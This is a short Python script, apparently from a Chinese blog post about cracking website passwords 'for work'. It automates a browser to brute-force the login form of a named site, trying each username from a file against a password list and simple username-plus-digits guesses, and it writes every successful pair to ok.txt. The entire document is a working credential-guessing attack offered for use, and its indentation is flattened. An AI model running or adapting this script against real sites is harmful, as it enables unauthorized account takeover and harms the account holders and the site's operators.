import pam,fileinput
ie=pam.PAMIE()
def chk(uname,upass):
ie
ie.navigate('http://www.111111.org/index.php?module=authsystem&func=logout')
ie.navigate('http://www.111111.org/index.php?module=authsystem')
ie.setTextBox('uname',uname)
ie.setTextBox('pass',upass)
ie.clickButton('登录')
if(ie.outerHTML().find('Invalid')>0):
return False
else:
print('以上用户破解成功\n')
return True
lst=['','1','12','123','1234','12345','good']
def wt(uname,upass):
res=open('ok.txt','at')
print(uname,' :\t',upass,file=res)
res.close()
fu=fileinput.FileInput('user.txt')
fp=fileinput.FileInput('pass.txt')
for i in fu:
uname=fu.readline().replace('\n','')
for k in lst:
upass=uname+k
print('测试用户:',uname,' 密码:',upass)
if(chk(uname,upass)):
wt(uname,upass)
for l in fp:
upass=fp.readline().replace('\n','')
print('测试用户:',uname,' 密码:',upass)
if(chk(uname,upass)):
wt(uname,upass)
ie.quit()
工作需要的网站用户密码破解
最新推荐文章于 2023-02-25 18:16:51 发布